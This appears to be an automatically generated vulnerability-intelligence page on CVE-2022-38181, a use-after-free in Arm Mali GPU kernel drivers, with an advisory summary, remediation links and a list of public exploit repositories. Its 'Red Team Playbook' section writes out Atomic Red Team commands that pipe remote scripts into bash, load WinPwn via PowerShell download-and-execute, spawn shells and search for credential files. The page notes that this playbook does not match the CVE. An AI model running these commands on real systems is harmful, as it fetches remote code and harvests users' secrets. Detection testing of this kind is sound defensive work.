CVE-2022-38181
Overview
This vulnerability is a use-after-free condition in the Arm Mali GPU kernel drivers affecting Bifrost, Valhall, and Midgard architectures. The root cause is improper handling of GPU memory operations within the kernel driver, which allows unprivileged users to access memory regions after they have been freed. The flaw resides in the GPU kernel driver's memory management routines responsible for allocating and releasing GPU memory buffers.
Vulnerability Description
The Arm Mali GPU kernel driver allows unprivileged users to access freed memory because GPU memory operations are mishandled. This affects Bifrost r0p0 through r38p1, and r39p0; Valhall r19p0 through r38p1, and r39p0; and Midgard r4p0 through r32p0.
Impact
An attacker with low-level user privileges can exploit this vulnerability to read or write freed kernel memory, potentially leading to privilege escalation within the device. This can allow unauthorized access to sensitive data or execution of arbitrary code in kernel context. The attack requires only a low-privileged user account with access to the GPU driver interfaces and does not require user interaction. Successful exploitation can result in full system compromise or disruption of GPU operations, impacting device integrity and confidentiality.
Solution
Arm has published security updates addressing this vulnerability in the Mali GPU kernel driver. Users should apply the patches provided in the Arm Security Center advisories available at https://developer.arm.com/support/arm-security-updates and https://developer.arm.com/Arm%20Security%20Center/Mali%20GPU%20Driver%20Vulnerabilities. These updates cover affected versions of Bifrost, Valhall, and Midgard GPU kernel drivers, including releases up to r39p0. Following Arm's official guidance and updating to the latest driver versions is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Arm Mali GPU kernel driver arises from improper handling of GPU memory operations, which allows unprivileged users to access freed memory. This issue primarily affects various versions of the Bifrost, Valhall, and Midgard GPU architectures. When memory is freed but not adequately secured, it can lead to unauthorized access to sensitive data or even execution of arbitrary code. The mishandling of memory operations creates a significant security gap, especially in environments where multiple users or processes share GPU resources. The implications of this flaw are particularly concerning given the widespread use of Arm GPUs in mobile devices, embedded systems, and increasingly in data centers.
Attack vectors exploiting this vulnerability can be diverse. An attacker with unprivileged access could leverage the freed memory to read sensitive information, such as cryptographic keys or user data, from other processes. Additionally, by manipulating the freed memory, an attacker could potentially inject malicious code that could be executed with elevated privileges. This scenario is particularly dangerous in multi-tenant environments, where the isolation between different users or applications is critical for maintaining security. The risk is exacerbated in systems that rely heavily on GPU processing for tasks such as machine learning, gaming, or graphic rendering, as the GPU's role in these processes can provide an attacker with a pathway to escalate privileges and compromise the entire system.
The real-world impact of this vulnerability can be severe, leading to significant business risks. Organizations that utilize affected GPU drivers in their products may face data breaches, loss of intellectual property, or damage to their reputation. The potential for unauthorized access to sensitive information can result in regulatory fines, especially for companies in industries such as finance or healthcare, where data protection is paramount. Furthermore, the exploitation of this vulnerability could lead to service disruptions, affecting customer trust and satisfaction. The financial implications of remediation efforts, including patching systems and potential downtime, can also strain resources and impact overall business operations.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating GPU drivers to the latest versions that address known vulnerabilities is crucial. Additionally, employing runtime security measures, such as memory protection techniques and monitoring tools, can help identify anomalous behavior indicative of an exploitation attempt. Conducting thorough security assessments and penetration testing can also aid in uncovering potential weaknesses in the system. Educating developers about secure coding practices and the importance of proper memory management is essential to prevent similar vulnerabilities from arising in the future.
In conclusion, the vulnerability in the Arm Mali GPU kernel driver presents a significant threat due to its potential for exploitation by unprivileged users. The implications for data security and business operations are profound, necessitating immediate attention from organizations that rely on affected GPU architectures. By adopting proactive detection and mitigation strategies, businesses can better safeguard their systems against this and similar vulnerabilities, ensuring the integrity and confidentiality of their data in an increasingly complex threat landscape.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2022-38181, accompanied by the emergence of multiple new public proof-of-concept exploits hosted on GitHub. This development signals a broadening of the exploit landscape, making the vulnerability more accessible to a wider range of threat actors. The inclusion of this vulnerability in the CISA Known Exploited Vulnerabilities (KEV) catalog further underscores its criticality and the urgency for defenders to prioritize monitoring and response efforts. Our telemetry indicates that while the EPSS score remains elevated, suggesting a sustained likelihood of exploitation, recent trends show a slight decline in exploitation velocity, which may reflect early mitigation efforts or shifting attacker focus. Nevertheless, the elevated CVSS score and active exploitation tools elevate the overall threat level to high, emphasizing that organizations using affected Arm Mali GPU architectures face an increased risk of unauthorized memory access and potential data compromise.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arm | Bifrost Gpu Kernel Driver | All |
cpe:2.3:a:arm:bifrost_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Bifrost Gpu Kernel Driver | r39p0 |
cpe:2.3:a:arm:bifrost_gpu_kernel_driver:r39p0:*:*:*:*:*:*:*
|
|
|
Arm | Midgard Gpu Kernel Driver | All |
cpe:2.3:a:arm:midgard_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Valhall Gpu Kernel Driver | All |
cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Valhall Gpu Kernel Driver | r39p0 |
cpe:2.3:a:arm:valhall_gpu_kernel_driver:r39p0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (7)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Pro-me3us/CVE_2022_38181_Raven
CVE-2022-38181 POC for FireTV 2nd gen Cube (raven)
|
Pro-me3us | 7 | 9 | 2023-04-13 | View |
|
Pro-me3us/CVE_2022_38181_Gazelle
CVE-2022-38181 POC for FireTV 3rd gen Cube (gazelle)
|
Pro-me3us | 4 | 3 | 2023-04-13 | View |
|
ericpardee/fire-hd-ownership
Owning a tablet Amazon kept shutting down — CVE-2022-38181 write-up, four AI models, and a blog
|
ericpardee | 5 | 0 | 2026-08-20 | View |
|
R0rt1z2/CVE-2022-38181
|
R0rt1z2 | 3 | 2 | 2023-05-12 | View |
|
hackintoanetwork/SCRoot
root for Samsung SCR-01 (SM-H412J) via Mali CVE-2022-38181
|
hackintoanetwork | 0 | 0 | 2026-07-29 | View |
|
soralis0912/CVE-2022-38181-aristotle-apk
|
soralis0912 | 0 | 0 | 2026-07-25 | View |
|
soralis0912/CVE-2022-38181-aristotle
|
soralis0912 | 0 | 0 | 2026-07-25 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-38181 |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/support/arm-security-updates |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/Arm%20Security%20Center/Mali%20GPU%20Driver%20Vulnerabilities |
| github.blog |
GitHub CVE
|
https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug/ |
| securitylab.github.com |
GitHub CVE
|
https://securitylab.github.com/advisories/GHSL-2022-054_Arm_Mali/ |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/172854/Android-Arm-Mali-GPU-Arbitrary-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-38181 |